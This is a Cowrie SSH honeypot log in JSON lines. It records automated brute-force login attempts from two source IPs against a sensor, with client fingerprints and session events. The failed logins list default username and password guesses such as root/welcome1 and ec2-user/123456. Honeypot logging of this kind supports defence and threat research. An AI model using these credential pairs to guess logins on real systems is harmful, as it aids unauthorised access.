{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@1234","message":"login attempt [hadoop/hadoop@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:29.960240Z","src_ip":"192.109.200.237","session":"6b41103576b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:31.046031Z","src_ip":"192.109.200.237","session":"6b41103576b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58954,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c693b32c384","protocol":"ssh","message":"New connection: 192.109.200.237:58954 (159.203.135.109:22) [session: 1c693b32c384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:32.623126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:32.627621Z","src_ip":"192.109.200.237","session":"1c693b32c384","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:32.711706Z","src_ip":"192.109.200.237","session":"1c693b32c384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:33.077802Z","src_ip":"192.109.200.237","session":"1c693b32c384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:34.162986Z","src_ip":"192.109.200.237","session":"1c693b32c384","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58976,"dst_ip":"159.203.135.109","dst_port":22,"session":"12981dc1983d","protocol":"ssh","message":"New connection: 192.109.200.237:58976 (159.203.135.109:22) [session: 12981dc1983d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:35.792058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:35.796303Z","src_ip":"192.109.200.237","session":"12981dc1983d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:35.879049Z","src_ip":"192.109.200.237","session":"12981dc1983d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:36.129269Z","src_ip":"192.109.200.237","session":"12981dc1983d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:37.220201Z","src_ip":"192.109.200.237","session":"12981dc1983d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":58984,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcca56e14f7c","protocol":"ssh","message":"New connection: 192.109.200.237:58984 (159.203.135.109:22) [session: bcca56e14f7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:38.777290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:38.782326Z","src_ip":"192.109.200.237","session":"bcca56e14f7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:38.904370Z","src_ip":"192.109.200.237","session":"bcca56e14f7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:39.202587Z","src_ip":"192.109.200.237","session":"bcca56e14f7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":56848,"dst_ip":"10.17.0.5","dst_port":22,"session":"2385a3bf26d1","protocol":"ssh","message":"New connection: 109.237.96.109:56848 (10.17.0.5:22) [session: 2385a3bf26d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:39.411090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:39.415794Z","src_ip":"109.237.96.109","session":"2385a3bf26d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:39.510205Z","src_ip":"109.237.96.109","session":"2385a3bf26d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"barcelona","message":"login attempt [root/barcelona] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:39.792252Z","src_ip":"109.237.96.109","session":"2385a3bf26d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:40.285855Z","src_ip":"192.109.200.237","session":"bcca56e14f7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:40.893479Z","src_ip":"109.237.96.109","session":"2385a3bf26d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":39992,"dst_ip":"159.203.135.109","dst_port":22,"session":"35a3b58e34e8","protocol":"ssh","message":"New connection: 192.109.200.237:39992 (159.203.135.109:22) [session: 35a3b58e34e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:41.968728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:41.972978Z","src_ip":"192.109.200.237","session":"35a3b58e34e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:42.055038Z","src_ip":"192.109.200.237","session":"35a3b58e34e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wizard","password":"wizard","message":"login attempt [wizard/wizard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:42.301552Z","src_ip":"192.109.200.237","session":"35a3b58e34e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:43.403164Z","src_ip":"192.109.200.237","session":"35a3b58e34e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40006,"dst_ip":"159.203.135.109","dst_port":22,"session":"b06b7771828a","protocol":"ssh","message":"New connection: 192.109.200.237:40006 (159.203.135.109:22) [session: b06b7771828a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:45.009458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:45.014833Z","src_ip":"192.109.200.237","session":"b06b7771828a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:45.097703Z","src_ip":"192.109.200.237","session":"b06b7771828a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:45.482182Z","src_ip":"192.109.200.237","session":"b06b7771828a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:46.566796Z","src_ip":"192.109.200.237","session":"b06b7771828a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":40024,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca8aaace51d2","protocol":"ssh","message":"New connection: 192.109.200.237:40024 (159.203.135.109:22) [session: ca8aaace51d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:48.215270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:48.219777Z","src_ip":"192.109.200.237","session":"ca8aaace51d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:48.302214Z","src_ip":"192.109.200.237","session":"ca8aaace51d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nvidia","password":"nvidia","message":"login attempt [nvidia/nvidia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:48.548210Z","src_ip":"192.109.200.237","session":"ca8aaace51d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:49.633250Z","src_ip":"192.109.200.237","session":"ca8aaace51d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46612,"dst_ip":"159.203.135.109","dst_port":22,"session":"679970e1fe04","protocol":"ssh","message":"New connection: 192.109.200.237:46612 (159.203.135.109:22) [session: 679970e1fe04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:51.307281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:51.311833Z","src_ip":"192.109.200.237","session":"679970e1fe04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:51.394158Z","src_ip":"192.109.200.237","session":"679970e1fe04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:51.643743Z","src_ip":"192.109.200.237","session":"679970e1fe04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:52.728655Z","src_ip":"192.109.200.237","session":"679970e1fe04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46626,"dst_ip":"159.203.135.109","dst_port":22,"session":"257847238432","protocol":"ssh","message":"New connection: 192.109.200.237:46626 (159.203.135.109:22) [session: 257847238432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:54.371316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:47:54.375915Z","src_ip":"192.109.200.237","session":"257847238432","protocol":"ssh"}
